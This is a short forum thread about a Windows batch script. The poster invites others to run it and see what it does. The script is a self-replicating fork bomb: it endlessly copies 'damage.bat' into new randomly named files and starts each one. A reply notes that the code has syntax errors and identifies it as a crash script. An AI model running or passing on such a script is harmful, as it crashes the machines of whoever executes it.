Page 1 of 1

Expanding files

Posted: 19 Feb 2020 15:13
by Blanks
I found this code on the web while search for something and I'm not sure its working some test it and tell me what it does :mrgreen:

@echo off
:A
Set /A
X=%RANDOM%%%1999999999%
Type damage.bat >> %x%.bat
Start %x%.bat
Goto:A

Thanks

Re: Expanding files

Posted: 22 Apr 2020 14:23
by scavenger
code has 2 errors or you added a CR after the set /A; even without CR there is an odd number od % signs so X will never be evaluated correctly
that's an basic, infinite fork script to crash windows
why the question